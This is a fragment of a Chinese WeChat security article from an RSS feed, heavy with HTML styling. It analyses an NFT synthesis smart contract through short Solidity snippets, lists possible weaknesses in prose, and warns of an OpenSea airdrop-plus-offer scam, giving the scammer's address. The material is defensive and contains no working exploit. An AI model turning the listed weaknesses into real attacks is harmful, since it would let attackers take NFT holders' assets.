Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">。</span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;"><br/></span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">numImages 及 numVideos 变量在前序逻辑中已进行了介绍，他们主要解决的问题就是记录用户到底有多少可以合成的资产，比如有个用户可能持有了45个普通款数字藏品和6个隐藏款数字藏品。则这个 </span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">while 循环可以帮助他合成3次</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">。</span></p><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">for (uint256 ii = 0; ii &lt; numImagesForReward; ++ii) {</span></code><code><span class="code-snippet_outer">        uint256 tokenId = images[imageId++];</span></code><code><span class="code-snippet_outer">        _burn(tokenId);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">for (uint256 ii = 0; ii &lt; numVideosForReward; ++ii) {</span></code><code><span class="code-snippet_outer">        uint256 tokenId = videos[videoId++];</span></code><code><span class="code-snippet_outer">        chill__videoUsed[tokenId] = true;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 0, 0);display: inline !important;">上述代码的逻辑就比较简单了， <span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numImagesForReward 固定为15 ，<span style="font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numVideosForReward 固定为 2 。for 循环在此处的作用相当于 while 循环的子循环，通过维护临时变量 imageId 及 videoId 判定是否还能继续合成。对于普通款藏品（第3行），</span></span></span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">会调用 _burn 函数进行销毁</span><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">（转移至0地址），对于隐藏款藏品（第7行），将标志位 chill__videoUsed[tokenId] 设置为 true（</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">这样该隐藏藏品就不能再参与其他合成操作了</span><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">）。</span></p><p><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">emit ChillExchange(info.user, chill__nextRewardId);</span></code><code><span class="code-snippet_outer">this.transferFrom(address(this), info.user, chill__nextRewardId++);</span></code></pre></section><p><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">最后的逻辑主要就是两行代码，通过 emit 操作通知区块链，info.user 对应的用户已经合成完成，合成藏品的编号 ID 为 chill__nextRewardId，并调用 transferFrom 方法将chill__nextRewardId 对应的藏品转发至 info.user 对应的账户中。</span><span style="margin: 0px;padding: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(255, 0, 0);display: inline !important;">由于++是先使用当前值，再自增，所以能够确保下一次合成所生成的数字藏品编号是正确且不重复的</span><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">。</span></p><p><span style="margin: 0px;padding: 0px;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Noto Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><br/></span></p><h3 style="margin: 5px 10px;padding: 0px;font-weight: bold;font-size: 19.2px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;overflow-wrap: break-word !important;">五、安全威胁识别：</h3><p><span style="font-size: 15px;">本章内容仅结合合约代码逻辑进行安全性问题识别与探讨，并不代表实际对应合约存在问题，经研究分析我们提炼了该合约潜在存在的安全问题：</span></p><p><span style="font-size: 15px;">（1）minter 的权限滥用</span></p><p><span style="font-size: 15px;">（2）具备合成条件，但不想参与合成的用户，同样会被代码自动合成；</span></p><p><span style="font-size: 15px;">（3）如果普通用户具备调用合约的条件，则可以通过构造函数的方法，将 <span style="white-space: pre-wrap;color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numImagesForReward </span><span style="white-space: pre-wrap;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">及 <span style="white-space: pre-wrap;color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">numVideosForReward </span></span>设置为更低的值，使本身不符合15个普通藏品及2个隐藏藏品的用户，同样能够合成数字藏品。</span></p><p><span style="font-size: 15px;">（4）代理合约所带来的替换风险。</span></p><p><br/></p><p>六、威胁情报共享</p><p><span style="font-size: 15px;">近期有 KOL 发现在 OpenSea 上存在空投数字藏品配合 offer 的攻击，如果点击接受 offer 则账户持有的资产将被自动转移。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="2.136111111111111" data-s="300,640" style="" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fa05c1b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTyNKcmApA6xvOwmQscyrTiaLKNQM5wZycmfgkbMIZ5gnWU6kXG4k3qDuQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="font-size: 15px;">藏品地址：<br/></span></p><p><span style="font-size: 15px;"><a href="https://opensea.io/assets/ethereum/0x5e8ff95473d1eb96e2099cce5f6f171aac115947/58" target="_blank">https://opensea.io/assets/ethereum/0x5e8ff95473d1eb96e2099cce5f6f171aac115947/58</a></span></p><p><br/></p><p><span style="font-size: 15px;">提供 offer 操作的地址：</span></p><p><span style="font-size: 15px;">0x7747bb451f7a979fa7c9830b3b0a99903a921972</span></p><p><br/></p><p><span style="font-size: 15px;">请大家在使用时，注意资产及授权安全。</span></p><p><span style="font-size: 15px;"><br/></span></p><p><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">七、参考资料及鸣谢</span></span></p><p><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;">（1）奥DIONYSOS 公众号所提供的合成玩法预告：</span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;">    <a target="_blank" href="https://mp.weixin.qq.com/s?__biz=Mzk0MzM1MDkyNw==&amp;mid=2247483796&amp;idx=1&amp;sn=8d9af7fdeba7631643c844e7b97f78b9&amp;scene=21#wechat_redirect" textvalue="https://mp.weixin.qq.com/s?__biz=Mzk0MzM1MDkyNw==&amp;mid=2247483796&amp;idx=1&amp;sn=8d9af7fdeba7631643c844e7b97f78b9&amp;scene=21#wechat_redirect" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="2"><a href="https://mp.weixin.qq.com/s/AHn9xEnwtJdKZLnQK19S6g" target="_blank">https://mp.weixin.qq.com/s/AHn9xEnwtJdKZLnQK19S6g</a></a></span></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2196078431372549" data-s="300,640" style="" data-type="png" data-w="1020" src="https://wechat2rss.xlab.app/img-proxy/?k=d16cf0bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicppy3r2FevwWhKhpAr0uHWTysopLAaaTics1Jdpre8JDWVCGZ8fcGB2LYicKkJlWAOyNr5U38kTwJcXQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style=""><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;">（2）ConfluxScan 浏览器</span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;">    <a href="https://www.confluxscan.net/" target="_blank">https://www.confluxscan.net/</a></span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;"><br/></span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">（3）鸣谢：SeeDao安全学习小组为编写本文所提供的思路与技术指导。</span></span></p><p><br/></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;"><br/></span></p><p><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;font-size: 15px;display: inline !important;"><img class="rich_pages wxw-img" data-ratio="1.2933333333333332" data-w="600" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></span></p>



<p><a href="2247485097">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=978959c6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485097%26idx%3D1%26sn%3D24c6ebbff69604b73cea2d5234796e3c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 05 Jun 2022 09:30:00 +0800</pubDate>
    </item>
    <item>
      <title>【招聘】北银金融科技公司高薪招聘安全高手</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485032&amp;idx=1&amp;sn=be90bddaf804c813667bedbb4196e9d5</link>
      <description>北京银行旗下全资子公司北银金融科技公司具有国企背景，公司高层全部由北京银行派出的领导组成。北银金融科技公司员工同时享受市场化工资待遇、全额五险一金和北京银行员工的免费食堂三餐、培训机会、正式固定办公工位及更衣柜、洗衣券、节日礼品等福利。</description>
      <content:encoded><![CDATA[<p>
<span>JFRen_love</span> <span>2022-02-28 11:54</span> <span style="display: inline-block;"></span>
</p>

